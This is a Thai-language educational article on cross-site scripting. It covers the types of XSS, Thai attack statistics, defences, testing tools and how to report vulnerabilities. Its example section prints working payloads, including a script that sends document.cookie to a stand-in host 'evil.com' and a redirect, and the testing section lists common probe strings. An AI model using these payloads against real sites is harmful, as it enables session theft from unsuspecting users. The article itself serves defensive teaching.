XSS (Cross-Site Scripting) เป็นเทคนิคการโจมตีที่ใช้ JavaScript หรือโค้ดอื่นๆ เพื่อขโมยข้อมูลหรือควบคุมเบราว์เซอร์ของผู้ใช้ โดยการฝังโค้ดอันตรายลงในเว็บไซต์
เหตุการณ์สำคัญที่เกิดขึ้นในไทย
ในปี 2567 พบการโจมตีทางไซเบอร์ที่มุ่งเป้าไปที่เว็บไซต์เพิ่มขึ้น โดยมีการใช้เทคนิค XSS ที่ซับซ้อนมากขึ้น และมีการโจมตีทางไซเบอร์ผ่านเว็บมากกว่า 10 ล้านครั้ง เฉลี่ยวันละ 28,130 ครั้ง
ประเภทของ XSS
- Reflected XSS: โค้ดอันตรายถูกส่งกลับมาใน response ทันที เช่น การค้นหาที่แสดงผลลัพธ์พร้อมโค้ด JavaScript
- Stored XSS: โค้ดอันตรายถูกเก็บไว้ในฐานข้อมูลและแสดงผลทุกครั้งที่เข้าชม เช่น ระบบแสดงความคิดเห็น
- DOM-based XSS: โค้ดอันตรายถูกประมวลผลใน DOM ของเบราว์เซอร์ โดยไม่ส่งไปยังเซิร์ฟเวอร์
- Self-XSS: การหลอกให้ผู้ใช้ใส่โค้ดใน Console ของเบราว์เซอร์
ตัวอย่างการโจมตี
- ขโมย Cookie:
<script>alert(document.cookie)</script> - เปลี่ยนหน้าเว็บ:
<script>window.location="http://evil.com"</script> - แสดงโฆษณา:
<script>alert("You won a prize!")</script> - ขโมยข้อมูล:
<script>fetch("http://evil.com/steal?data="+document.cookie)</script>
วิธีป้องกันที่ได้ผล
- Input Validation: ตรวจสอบและทำความสะอาดข้อมูลที่รับเข้ามา
- Output Encoding: เข้ารหัสข้อมูลก่อนแสดงผล เช่น HTML Encoding, JavaScript Encoding
- Content Security Policy (CSP): กำหนดนโยบายความปลอดภัยของเนื้อหา
- HttpOnly Flag: ตั้งค่า Cookie ให้ไม่สามารถเข้าถึงผ่าน JavaScript ได้
- XSS Protection Headers: ใช้ X-XSS-Protection header
กรณีศึกษาจริง
เว็บไซต์ร้านค้าออนไลน์แห่งหนึ่งมีช่องแสดงความคิดเห็นที่ไม่ได้ป้องกัน XSS มิจฉาชีพใส่ <script>alert("XSS")</script> ในช่องความคิดเห็น เมื่อผู้ใช้เข้าชมหน้าเว็บ จะเห็น popup แสดงข้อความ "XSS" และอาจถูกขโมยข้อมูล
เครื่องมือที่ใช้ในการป้องกัน
- OWASP ZAP: เครื่องมือทดสอบความปลอดภัยแบบโอเพนซอร์ส
- Burp Suite: เครื่องมือทดสอบความปลอดภัยแบบมืออาชีพ
- XSS Scanner: เครื่องมือสแกนหาช่องโหว่ XSS อัตโนมัติ
- Code Analysis Tools: เครื่องมือวิเคราะห์โค้ดเพื่อหาช่องโหว่
การทดสอบ XSS
สามารถทดสอบ XSS ได้โดยใส่โค้ด JavaScript ในช่องกรอกข้อมูลต่างๆ เช่น:
<script>alert("XSS")</script><img src="x" onerror="alert('XSS')"><svg onload="alert('XSS')"></svg>javascript:alert("XSS")
สัญญาณเตือน
- เว็บไซต์แสดง JavaScript ที่ไม่ได้คาดหวัง
- พบ popup หรือ alert ที่แปลกๆ
- หน้าเว็บเปลี่ยนไปยังไซต์อื่นโดยไม่ทราบสาเหตุ
- ข้อมูลส่วนตัวรั่วไหลไปยังไซต์อื่น
การรายงานเมื่อพบ XSS
หากพบช่องโหว่ XSS ในเว็บไซต์ ควรรายงานไปยังผู้ดูแลเว็บไซต์หรือหน่วยงานที่เกี่ยวข้อง เช่น CERT Thailand หรือ Bugcrowd
ความคิดเห็น